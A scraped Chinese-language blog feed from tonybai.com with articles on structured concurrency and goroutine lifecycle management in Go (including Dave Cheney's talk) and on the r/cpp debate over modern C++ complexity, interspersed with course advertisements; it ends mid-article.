论文提出了一个让人振聋发聩的观点：Go 语言中的 go 语句，在某种意义上，就是并发领域的 goto。\n当你执行 go func() 时，你实际上是启动了一个新的执行流，它跳出了当前的词法作用域（Lexical Scope）。\n它什么时候开始？不确定。 它什么时候结束？不知道。 它如果 Panic 了会怎样？可能会炸掉整个程序。 父函数返回了，它还在运行吗？很有可能。 这种“射后不理（Fire-and-Forget）”的模式，破坏了代码的封装性。就像当年的 goto 打破了控制流的结构一样，不受约束的 go 语句打破了并发流的结构。\n结构化并发的目标，就是要把这些“野生”的 Goroutine 重新关进“代码块”的笼子里，让并发程序的生命周期像同步程序一样清晰、可预测。\n打破幻象——Go 并发的三个误区 在引入解决方案之前，论文首先抨击了 Go 社区中常见的三个关于并发的迷思。这些误区往往是导致系统不稳定的根源。\n误区 1：“Goroutine 极度廉价，所以可以随便开” 是的，Goroutine 的初始栈只有 2KB，但这只是“内存”成本。从“生命周期”的角度看，一个泄露的 Goroutine 是极其昂贵的。\n如果不加控制地启动 Goroutine 而不确保其退出，这些“孤儿”协程可能会：\n持有数据库连接或文件句柄不释放。 阻塞在某个永远不会发送数据的 Channel 上。 阻止垃圾回收器（GC）回收其引用的对象。 在长期运行的服务中，这种微小的泄漏会像滚雪球一样，最终导致服务 OOM（内存溢出）。\n误区 2：“Channel 解决了所有同步问题” Rob Pike 的名言“不要通过共享内存来通信，要通过通信来共享内存”被许多人奉为圭臬。然而，Channel 并不是银弹。\nChannel 实际上引入了复杂的状态机问题：\n向已关闭的 Channel 发送数据会 Panic。 从 nil Channel 读取会永久阻塞。 无缓冲 Channel 容易导致死锁。 过多的 Channel 会导致逻辑碎片化，增加认知负担。 论文强调，Channel 是一种传输机制，而不是一种架构保障。没有设计良好的生命周期管理，Channel 只会让 Bug 变得更难调试。\n误区 3：“Go 的并发代码很容易测试” Go 提供了 go test -race，但这远远不够。并发 Bug 往往是非确定性的（Heisenbugs），在本地开发环境（低负载、少核）下可能永远不会出现，一上生产环境（高负载、多核）就崩溃。\n如果代码缺乏结构化，测试将变得极其困难。你无法确定在断言（Assert）的那一刻，后台的 Goroutine 是否已经完成了数据的写入。结构化并发通过明确的“等待”机制，能让并发测试变得像同步测试一样稳定。\n核心法则——构建坚固的并发大厦 既然 Go 语言层面（目前）没有强制的结构化并发语法（不同于 Java Project Loom 的 StructuredTaskScope 或 Python Trio 的 Nursery），我们需要依靠工程纪律和设计模式来实现它。论文详细阐述了四大核心法则。\n法则一：Scope 闭环原则 —— 在谁的 Scope 启动，就在谁的 Scope 等待 定义：任何启动 Goroutine 的函数，必须负责等待它们结束。\n这是结构化并发的第一天条。绝不允许 Goroutine 的生命周期“逃逸”出启动它的函数。这保证了当函数返回时，它所衍生的所有并发工作都已完结，资源已释放。\n❌ 反模式：泄露的抽象\n// 这是一个危险的模式：函数返回了，但后台任务还在跑 // 调用者无法知道任务何时完成，也无法处理 panic func FireAndForget() { go func() { // 执行一些可能会阻塞很久的任务 // 这里发生的一切，父函数都无法控制 }() } ✅ 正模式：Wait 优于 Sleep\n论文强烈建议使用 sync.WaitGroup 或 errgroup 来显式地界定生命周期边界。\nfunc ProcessStructured(items []Data) { var wg sync.WaitGroup for _, item := range items { wg.Add(1) // 使用闭包捕获变量时需注意 go func(val Data) { defer wg.Done() process(val) }(item) } // 关键点：在函数返回前，必须收敛所有并发流 // 这形成了一个清晰的“并发块” wg.Wait() } 通过这种方式，ProcessStructured 函数的行为变成了“同步”的黑盒。调用者不需要知道它内部是否使用了并发，只需要知道“当函数返回时，所有工作都已完成”。\n法则二：同步外观原则 —— API 应当表现为“同步” 定义：即使函数内部使用了高并发，对外暴露的 API 签名应当是同步阻塞的。\n这是一个看似反直觉的建议。既然我们写的是并发程序，为什么 API 要设计成同步的？\n论文指出，异步 API（如返回一个 \u0026lt;-chan Result 或 Future）具有“传染性”。一旦你的函数返回了一个 Future，调用者就必须处理这个 Future 的等待逻辑，这会层层向上传递，导致整个调用链都充满了并发管理的细节。\n经典案例：http.ListenAndServe\nGo 标准库的 http.ListenAndServe(“:8080″, nil) 是结构化并发 API 设计的典范。\n内部：它是一个极其复杂的并发系统，为每个进来的 TCP 连接启动一个新的 Goroutine。 外部：它是一个简单的阻塞函数。 // 调用者代码 err := http.ListenAndServe(\u0026#34;:8080\u0026#34;, nil) // 当这行代码返回时，我们确切地知道： // 1. 服务已经停止了。 // 2. 或者发生了错误（如端口冲突）。 如果 ListenAndServe 被设计成异步返回（即在后台启动服务后立即返回），那么调用者将面临巨大的困扰：我该如何知道服务启动成功了？如果启动失败，错误去哪里了？主进程该何时退出？\n除非是专门的任务调度器，否则业务逻辑函数的 API 应该看起来是同步阻塞的。让调用者去决定是否使用 go 关键字来调用它。\n法则三：所有权原则 —— 在哪写入，就在哪关闭 定义：只有负责向 Channel 写入数据的 Goroutine，才有资格关闭该 Channel。\nChannel 的关闭操作是 Go 并发中最容易导致 Panic 的环节（向已关闭的 Channel 发送数据）。论文强调，结构化并发可以极大地简化 Channel 的管理。\n原则非常简单：谁生产，谁负责清理。 接收者（Consumer）永远不应该关闭 Channel，因为通过关闭 Channel 来通知生产者“我读完了”是一种错误的设计（应该使用 Context 来取消）。\n结合法则一，如果生产者 Goroutine 的生命周期是受控的，那么 Channel 的生命周期自然也是受控的。\nfunc Producer() \u0026lt;-chan int { ch := make(chan int) // 启动生产者协程 go func() { // defer close 确保无论正常退出还是 panic，channel 都会关闭 // 避免接收者永久阻塞 defer close(ch) for i := 0; i \u0026lt; 10; i++ { ch \u0026lt;- i } }() return ch } 法则四：物理封装原则 —— 数据与锁不分家 定义：将共享的可变数据（Mutable State）与保护它的同步原语（Mutex）封装在同一个结构体中。\n在共享内存的并发模型中，最大的噩梦是“锁与数据分离”。例如，你定义了一个全局变量 var Cache map[string]int，然后又定义了一个全局锁 var Mu sync.Mutex。随着代码量的增加，开发者很容易忘记在访问 Cache 时加锁，或者错误地使用了其他的锁。\n论文建议采用一种“物理强绑定”的策略：\ntype SafeCounter struct { // 1. 将锁作为结构体的第一个字段 mu sync.Mutex // 2. 受保护的数据应当是私有的（小写） // 强制外部必须通过方法来访问 values map[string]int } // 3. 只有通过这个方法才能访问数据 func (c *SafeCounter) Inc(key string) { c.mu.Lock() // 4. 利用 defer 确保锁的释放与函数作用域绑定 defer c.mu.Unlock() c.values[key]++ } 这种模式被称为 Monitor Pattern（监视器模式）。它通过封装强制实施了并发安全，将“会不会加锁”的问题变成了“能不能调用方法”的问题，后者由编译器保证，前者只能靠人品。\n进阶——超越标准库的尝试 虽然标准库提供了 sync.WaitGroup 和 context，但要完美实现结构化并发，样板代码依然繁多。论文提到了社区中一些优秀的尝试，其中最值得关注的是 Sourcegraph 开源的 conc 库。\nconc 库试图解决标准库 WaitGroup 的两个痛点：\nPanic 逃逸：在标准 go func 中，如果子协程 panic，整个程序会直接崩溃（Crash），父协程无法 recover。这对于高可用服务是致命的。 Error 传播：WaitGroup 不支持错误返回，需要开发者自己维护一个 err 变量或使用 errgroup。 conc 提供了增强版的 WaitGroup：\nimport \u0026#34;github.com/sourcegraph/conc\u0026#34; func main() { var wg conc.WaitGroup wg.Go(func() { // 如果这里 panic 了 panic(\u0026#34;something went wrong\u0026#34;) }) // Wait() 会自动捕获子协程的 panic // 并将其重新抛出或作为错误返回（取决于具体 API） // 从而避免进程直接崩溃 wg.Wait() } 这种工具库的出现，标志着 Go 社区正在从“手动管理并发”向“自动化管理并发”演进，这正是结构化并发理念的工程化落地。\n小结：从“能用”到“可控” Go 语言通过 go 关键字将并发编程的门槛降到了历史最低，赢得了云计算时代的入场券。但在构建大规模、高可靠的系统时，我们不能止步于“能用”。\n这篇学术论文为我们提供了一个冷静的视角：并发不是目的，只是手段。 失控的并发是灾难，只有受控的并发才是生产力。\n结构化并发不是一种束缚，而是一种保护。它要求我们在写下每一个 go func 的时候，都要问自己三个问题：\n它什么时候结束？ 谁负责等待它结束？ 如果它出错了，谁来处理？ 只有当这三个问题都有明确答案时，我们才能说，我们真正掌握了 Go 的并发艺术。\n参考资料 Kliukovkin, G. (2025). Structured Concurrency in Go: A Research-Oriented Perspective*. Scientific Research Journal Dijkstra, E. W. (1968). Go To Statement Considered Harmful. Sourcegraph conc Library: https://github.com/sourcegraph/conc 你更倾向于哪一派？\n有人认为 Go 的自由是生产力之源，有人认为约束才是工程的救赎。在你的项目中，你是否也曾因为“射后不理”的 goroutine 踩过坑？你认为 Go 官方是否应该在语言层面引入类似 Java 或 Python 的结构化并发原生支持？\n欢迎在评论区分享你的看法或“血泪史”！\n想深入掌握 Go 并发调度的底层原理？点击查看我的微专栏《Go 并发调度艺术》。\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/04/16/structured-concurrency-in-go-research-oriented-perspective/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/structured-concurrency-in-go-research-oriented-perspective-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/04/16/structured-concurrency-in-go-research-oriented-perspective\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/04/16/structured-concurrency-in-go-research-oriented-perspective\"\u003ehttps://tonybai.com/2026/04/16/structured-concurrency-in-go-research-oriented-perspective\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003eGo 语言的 go 关键字是并发编程史上的一次民主化革命，它让并发变得前所未有的廉价和简单。只需在一个函数调用前加上 go，我们就拥有了一个并发执行的任务。\u003c/p\u003e","title":"为什么说 go 语句是新时代的 goto？四大法则拯救失控 goroutine"},{"content":"\n本文永久链接 – https://tonybai.com/2026/04/15/cpp-community-debate-productivity-revolution-vs-complexity\n大家好，我是Tony Bai。\n如果你把编程语言比作工具，Go 是一把极简的手术刀，精准且克制；Rust 是一套带智能传感器的外骨骼装甲，严苛且安全。\n而 C++ 呢？它更像是一把在过去四十年里不断被加挂零件的、超重型复合瑞士军刀。\n最开始，它只有刀片和叉子；后来，它加了锯子、剪刀和钳子；再后来，它甚至被塞进了一套显微镜和一支激光笔。在开发者眼里，它是能解决世间一切难题的万能神兵，但也是一个重到让你拿不稳、甚至随时可能切到自己手指的“庞然大物”。\n但就在前几天，r/cpp 这个拥有近 10 万 C++开发者的顶级社区里，一篇名为《现代 C++ 是让我们更高效了… 还是更复杂了？》的帖子，引发了一场深度大讨论。\n发帖人发出了灵魂拷问：\n“C++20/23 给我们带来了 Ranges、协程（Coroutines）、Concepts、Modules……这些新特性真的很酷，我也在用。但我总在想，我们是不是在用这些东西吓跑新人的同时，眼睁睁地看着老代码库永远冻结在 C++98？现代 C++ 对生产力来说，到底是一场革命，还是在原本已经足够复杂的巨兽身上，又叠加了一层复杂性？”\n这篇帖子，精准地戳中了每一个 C++ 开发者心中最深的困惑。短短一天，就吸引了上百条充满血泪与思考的评论。\n今天，我们就来复盘这场顶级的社区大讨论，看看这柄“瑞士军刀”在疯狂“堆料”的背后，到底藏着怎样的挣扎、分裂与反思。\n分裂的社区：C++98 遗老、C++17 中坚与 C++23 先锋的“平行宇宙” 在这场大讨论中，我仿佛看到了 C++ 社区三个泾渭分明的平行宇宙。\n宇宙一：永远的 C++98/11 ——“能跑就行，别动！”\n评论区里，点赞最高的一派观点，充满了对“存量代码”的敬畏与无奈。\n一位开发者吐槽道：\n“我在太多项目里因为各种原因被迫使用旧标准，以至于我已经懒得去关心最新的特性了。我感觉很多专业场景就是这样：我们用着‘穴居人 C++’，因为那玩意儿安全（指熟悉）、方便。”\n另一位开发者更是直接引用了 Matt Godbolt 的名言：“向后兼容性才是 C++ 的超能力。”\n“别想着重构了，那只会破坏一切。跑了 20 年没 Bug 的生产代码是无价之宝，别碰它！”\n更有甚者，因为芯片厂商的编译器只支持 C++89，或者因为“法律原因”，一个项目被迫在一个 3 年前的工具链上锁死 7 年。\n在这个宇宙里，C++20 的新特性，对他们来说都像火星科技一样遥远。\n宇宙二：拥抱 C++20/23 ——“旦用难回，太香了！”\n与“遗老派”形成鲜明对比的，是那些已经吃上新标准红利的“先锋派”。\n有开发者激动地表示：\n“自从我开始用协程（Coroutines）写网络 IO 代码，我再也回不去以前那种回调地狱了！”\n另一位则对 C++23 的 std::println 赞不绝口：\n“我离不开 C++23，完全是因为 println。我不知道我还在用 23 的什么其他特性，但光这一个就太棒了。”\n对于这部分开发者来说，现代 C++ 的每一个新特性，都是一次生产力的解放。他们就像一群拿到了新玩具的孩子，兴奋地探索着 Ranges 的组合魔法和 Concepts 带来的清爽报错。\n宇宙三：爱恨交织的“中间派”——“一半是天堂，一半是地狱”\n这或许是最大多数 C++ 开发者的真实写照。\n正如帖子作者所言，新特性确实很酷，但它们也带来了巨大的认知负荷和决策成本。\n一个开发者的评论获得了 82 个高赞：\n“我们大多数人只用了 C++ 语言特性的一小部分。这就像一个‘鸡生蛋、蛋生鸡’的问题：这里有个新特性，但我不知道该怎么用、为什么要用；或者，我代码里有个痛点，可能能用新特性解决，但我不知道该用哪个。”\n这种“选择的困境”，正是 C++ “自由”的代价。\n底层矛盾：C++ 的“集市”哲学 vs 团队的“教堂”困境 为什么 C++ 会演变成今天这样？\n评论区里的一位开发者给出了一个极其精妙的比喻：“集市（Bazaar）”。\n“我绝对热爱 C++ 的一点是：它有一个特性集市，你可以挑选你认为适合你项目的工具。如果你看其他语言，比如 Java 要求万物皆对象，Haskell 要求万物皆函数。C++ 给了你面向对象，你讨厌它？没问题，不用就行。你喜欢函数式？C++ 也支持。”\n这种“万物皆可选”的自由，是 C++ 最大的魅力，当然也是它最大的诅咒。\n因为在一个团队里，当每个人都从“集市”上拿回了自己最喜欢的锤子时，整个项目就会变成一个风格迥异的“建筑工地”。\n原帖作者自己也承认：\n“自由是真实的，但这也意味着两个 C++ 代码库可能看起来像两种完全不同的语言。”\n当一个文件里还在用裸指针和手动内存管理，而另一个文件里已经用上了 std::unique_ptr 和 std::span；当一部分团队在用 boost::asio 写回调，而另一部分团队在用 C++20 的协程……\nCode Review 就变成了一场噩梦。\n反思：“技术债”还是“护城河”？ 这场大讨论的背后，其实隐藏着两个更深层次的软件工程哲学问题。\n问题一：新特性是“锦上添花”，还是“非用不可”？\n很多 C++ 老兵认为，现代 C++ 增加的很多特性，比如 Ranges 和 Coroutines，其实早在几十年前的 LISP 语言里就已经被证明是伟大的思想。C++ 只是在用一种极其缓慢、极其复杂的方式，在“偿还”几十年前欠下的“技术债”。\n但另一些人认为，C++ 的伟大恰恰在于，它能用**“零成本抽象（Zero-cost Abstraction）”**的硬核方式，将这些高级思想，落地到对性能要求极致的生产环境中。\n问题二：复杂性是“敌人”，还是“朋友”？\n一位开发者的评论极具辩证思维：\n“这（新特性）既是好事，也是坏事。学习的门槛确实在不断提高。但这些工具是实实在在有用的，它们让你能用更干净、更安全、更高效的方式表达代码。”\n当 Go在极力做“减法”，试图降低开发者的心智负担时，C++ 却似乎在坚定地走着另一条路：它信任开发者是专家，它把所有的选择权和复杂性都交给你，让你自己去构建属于你的“最佳子集”。\n这就像驾驶一架拥有几百个仪表盘的航天飞机。对于新手来说是灾难，但对于顶尖的飞行员来说，每一个按钮都意味着更精准的控制力。\n出路何在？：拥抱“渐进式现代化” 在这场看似无解的“内部大讨论”中，我们依然能找到一条充满智慧的中间路线。\n有人分享了一个极具参考价值的真实案例：\n他成功地在一个庞大的 C++98 代码库中，引入了一个用 C++17 编写的新功能模块。他没有去重构任何老代码，只是简单地升级了编译器和构建脚本。结果：新特性带来了性能的提升和开发效率的飞跃，而老代码依然稳定运行。\n这或许就是现代 C++ 正确的打开方式：不要试图用新标准去“革命”旧代码，而是在写新代码时，大胆地、有选择地拥抱新特性。\n让 C++98 的归 C++98，让 C++23 的归 C++23。在一个代码库中，允许不同时代的“方言”共存，用新增的模块去逐步“稀释”历史的包袱。\n小结：一场关于“自由”的伟大实验 C++ 的这场大讨论，没有赢家。\n它只是再次向我们证明了这门语言的“独一无二”：它是一门民主的语言。它给了你选择一切的自由，也要求你为自己的选择承担一切后果。\n用一位开发者的话来说：\n“Rust 强加给你它的观点；而 C++ 要求你有你自己的观点。这就像专制与民主的区别。大多数时候，民主只是一个被猴子笼子管理的、组织混乱的马戏团。但我更喜欢民主。”\n或许，对于我们这些已经习惯了 Go 和 Rust 那种“带你走”模式的开发者来说，偶尔回头看看 C++ 这个充满“混沌与活力”的古老集市，会让我们对“软件工程”这门手艺，有更深刻的理解。\n资料链接：https://www.reddit.com/r/cpp/comments/1sihs1w/is_modern_c_actually_making_us_more_productive_or\n今日互动探讨：\n在你的技术生涯中，你是否也曾被困在某个古老的“技术版本”里动弹不得？对于 C++ 这种“万物皆可选”的自由哲学，你是向往，还是恐惧？\n欢迎在评论区分享你的看法！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/04/15/cpp-community-debate-productivity-revolution-vs-complexity/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/cpp-community-debate-productivity-revolution-vs-complexity-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/04/15/cpp-community-debate-productivity-revolution-vs-complexity\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/04/15/cpp-community-debate-productivity-revolution-vs-complexity\"\u003ehttps://tonybai.com/2026/04/15/cpp-community-debate-productivity-revolution-vs-complexity\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e如果你把编程语言比作工具，Go 是一把极简的手术刀，精准且克制；Rust 是一套带智能传感器的外骨骼装甲，严苛且安全。\u003c/p\u003e","title":"C++ 社区内部大讨论：新特性到底是“生产力革命”，还是“叠加的复杂性”？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/04/13/dave-cheney-goroutine-management-philosophy\n大家好，我是Tony Bai。\n在 Go 语言的江湖里，go func() 就像一把绝世好剑。它轻灵、锋利，只需几个字符，就能让你瞬间拥有“分身术”，并发地处理海量任务。Go 团队曾自豪地告诉我们：Goroutine 很廉价，你可以随手启动成千上万个。\n于是，我们习惯了在代码里肆意挥洒：\nHTTP 请求来了？go handle()。 要写日志？go log()。 要发通知？go notify()。 … … 我们以为自己掌握了并发的捷径。\n但就在去年的 GopherCon Singapore 技术大会上，Go 社区的资深布道师 Dave Cheney，却用一场充满哲学思考的演说，给所有 Gopher 敲响了警钟。\n他的核心论点很明确：Goroutine 绝非免费的午餐，它是一种需要付出代价的“有限资源”。如果你只管启动（Start）而不懂如何停止（Stop），你并没有在写高效的并发程序，你只是在为系统埋下慢性自杀的伏笔。\n今天，我们就来深度拆解 Dave Cheney 的这场重要演讲，梳理出他在 AI 大模型和微服务时代，为我们总结的 “Goroutine 声明周期管理四大哲学”以及他最终给出的Goroutine管理方案。\n哲学一：内存是有价的，而 Goroutine 是“内存之根” Dave Cheney 在演讲开头提出了一个极其硬核的观点：内存不是无限的，它是和数据库连接、文件句柄一样的有限资源。\n在 Java 或 C++ 中，我们要时刻担心内存泄漏。但在 Go 里，我们觉得有 GC（垃圾回收器）在，一切无忧。\n然而，Dave 指出了一个被 99% 的人忽略的真相：在 Go 的世界里，每一个正在运行的 Goroutine，都是一个“GC 根节点（GC Root）”。\n什么意思？\n只要一个 Goroutine 还在运行，它所引用的所有内存、它栈上的所有变量、它指向的所有堆对象，GC 都绝对不敢回收。\n“你可以关闭一个文件，可以解锁一个互斥锁。但你如何‘回收’一个失控的 Goroutine？”\n如果你启动了一个 Goroutine 后失去了对它的追踪，它就变成了一个永远无法回收的“内存僵尸”。它不仅自己霸占着 2KB 以上的栈空间，更可能死死拽着几个 GB 的业务对象不撒手。\n哲学二：永远不要启动一个你不知道如何停止的 Goroutine 这是 Dave Cheney 演讲中最核心的一句军规：Never start a goroutine without knowing how it will stop.\n为了证明“野 Goroutine”的破坏力，Dave 在现场演示了一个极其经典的血泪 Demo。\n他写了一个 HTTP 服务器，为了让请求秒回，他把日志记录放到了后台：go logRequest(r)。\n接着，他通过重定向标准输出模拟了下游日志系统网络拥堵、写入被阻塞的场景。\n恐怖的一幕发生了：\n服务器内存开始疯狂飙升，每秒钟都有成百上千个新的 Goroutine 被创建，但因为输出被阻塞，它们全都卡在写入的那一行，一个都死不掉。\n不到一分钟，整个程序因为 OOM（内存溢出）当场暴毙。\nDave 的结论非常冷酷：\n启动一个 Goroutine 只需要 1 微秒，但如果不考虑它的“死法”，这个 Goroutine 最终会成为杀掉你整个集群的凶手。\n哲学三：不要强迫它停，要“优雅地求它停” 在 Java 中，曾经有一个 thread.stop() 方法，后来被禁用了，因为它会引发不可控的资源损坏。Go 语言聪明地避开了这个坑：Go 没有任何一种方式，能让一个 Goroutine 强行停止另一个。\n你只能通过 “协同（Cooperation）”。\nDave 强调，defer 是 Goroutine 的“临终遗言”。所有的资源释放（文件关闭、锁解除）都必须放在 defer 里。\n而管理这一切的唯一“生死符”，就是 Context。\n在 Dave 的哲学里，一个合格的后台服务函数，必须长成这样：\nfunc (s *Service) Run(ctx context.Context) error { // 1. 临终遗言：无论如何，最后一定要清理战场 defer s.cleanup() for { select { case \u0026lt;-ctx.Done(): // 2. 收到“生死符”，优雅退出 return ctx.Err() case task := \u0026lt;-s.taskChan: s.process(task) } } } 你必须给 Goroutine 一个“想得开”的机会，让它在收到 ctx.Done() 时，带着所有的 defer 体面地离开。\n哲学四：把并发权留给调用者，而不是库 这是 Dave Cheney 给库开发者（Library Authors）提出的最高阶要求。\n他引用了另一位大神 Peter Bourgon 的话：“Leave concurrency to the caller.”\n一个设计糟糕的库： 在你调用 NewProvider() 的时候，悄悄在后台启动了一个 Goroutine 去跑心跳，却没给你返回任何停止它的句柄。这种库是不可靠的。\n一个具有“管理哲学”的库： 即使它需要后台运行，它也应该把那个 Run 函数暴露给用户，让用户自己决定：\n是开一个 Goroutine 去跑它？ 还是把它扔进一个 errgroup 里集中管控？ 还是干脆同步运行它？ 只有这样，作为顶层架构师的你，才能真正实现所有子系统的 “同生共死”。\n历史的挣扎：从 Tomb 到 Errgroup，我们与“失控”的斗争 事实上，Go 社区与“Goroutine 管理”这个恶魔的斗争，从 2012 年就开始了。Dave带着我们一起回顾了一下社区的方案，虽然每个方案都不完美！\n第一代武器：Tomb (坟墓)\n来自 Canonical（Ubuntu 母公司）的 Juju 项目，发明了 tomb 包。它通过一个 t.Go() 方法来启动 Goroutine，并用一个 t.Wait() 来等待它们全部结束。但它的缺点是，如何通知这些 Goroutine“你们该停了”，依然需要开发者手动传来传去。\n第二代武器：Errgroup\n由 Go 社区大神 Brad Fitzpatrick 编写的 errgroup，极大地简化了“并发执行一组任务，并收集第一个错误”的场景。但它同样没有解决“如何优雅地通知所有任务提前中止”的问题。\n第三代武器：OK Log 的 group 包\n由 Peter Bourgon 设计的 group 包，首次引入了一个极其优雅的范式。它要求你在添加一个任务时，必须同时提供两个函数：一个 execute 函数（如何启动），和一个 interrupt 函数（如何打断）。\n这是一种“契约式”的设计，强制开发者在启动一个 Goroutine 的时候，就必须想好如何杀死它。\nDave Cheney 的Goroutine管理方案 在吸收了上述哲学以及社区尝试后，Dave 给出了一个现代 Go 微服务的“标准起手式”，当然也是他自己的Goroutine管理方案：pkg/group。\n在吸收了社区十几年来的所有经验和教训之后，Dave Cheney 在演讲的最后，亮出了他自己多年来在无数个项目中沉淀下来的“终极武器”——一个同样名为 group 的、集大成的 Goroutine 管理库：pkg/group，也可以认为是一个现代 Go 微服务的“标准起手式”：\n在 Dave Cheney 的 group 里，你添加的每一个任务，都必须是一个接受 context.Context 作为参数的函数。\ng.Add(func(ctx context.Context) error { // ... }) Context 成了所有 Goroutine 唯一的“生死符”。无论是超时、是上游请求被取消、还是整个服务收到了 SIGTERM 信号准备关闭，都会通过 ctx.Done() 这个唯一的通道，通知到每一个角落。\n在 Dave Cheney 的 group 中，任何一个子 Goroutine 发生的 panic，都不会导致整个进程崩溃。它会被 recover 住，转化为一个 error，然后触发整个 group 的优雅关闭流程。\npkg/group的使用典型示例如下：\n在这段代码里，所有的后台服务被捆绑成了一个“命运共同体”。任何一个服务失败，或者 k8s 发来关闭 Pod 的信号，都会导致所有服务一起进入优雅关闭流程，确保数据不丢失、连接被妥善断开。\n小结 从“启动”到“坟墓”，Dave Cheney 为我们揭示了并发编程的下半场：Goroutine管理\ngo func() 赋予了我们随手创造并发的权力，但真正体现架构师功力的，是你管理这些并发生命周期的责任感。\n下一次，当你在键盘上敲下那几个字符时，请停顿一秒。\n想一想：这把剑挥出去，你还能收回来吗？\n资料链接：https://www.youtube.com/watch?v=eJLVT157BSs\n今日互动探讨：\n在你的项目中，是否曾遇到过 Goroutine 泄漏导致的内存灾难？你是如何定位出那个“失踪”的 Goroutine 的？\n欢迎在评论区分享你的避坑经验!\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/04/13/dave-cheney-goroutine-management-philosophy/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/dave-cheney-goroutine-management-philosophy-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/04/13/dave-cheney-goroutine-management-philosophy\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/04/13/dave-cheney-goroutine-management-philosophy\"\u003ehttps://tonybai.com/2026/04/13/dave-cheney-goroutine-management-philosophy\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在 Go 语言的江湖里，go func() 就像一把绝世好剑。它轻灵、锋利，只需几个字符，就能让你瞬间拥有“分身术”，并发地处理海量任务。Go 团队曾自豪地告诉我们：Goroutine 很廉价，你可以随手启动成千上万个。\u003c/p\u003e","title":"别再无脑 go func() 了！Go 资深布道师 Dave Cheney 的 Goroutine 管理哲学"},{"content":"\n本文永久链接 – https://tonybai.com/2026/04/12/agile-manifesto-dead-in-ai-era-martin-fowler-kent-beck\n大家好，我是Tony Bai。\n25 年前，在美国犹他州的一间滑雪小屋里，17 位当时最顶尖的软件开发者聚集一堂，共同签署了一份将彻底改变未来二十年软件工程形态的纲领——《敏捷软件开发宣言》。\n在这 17 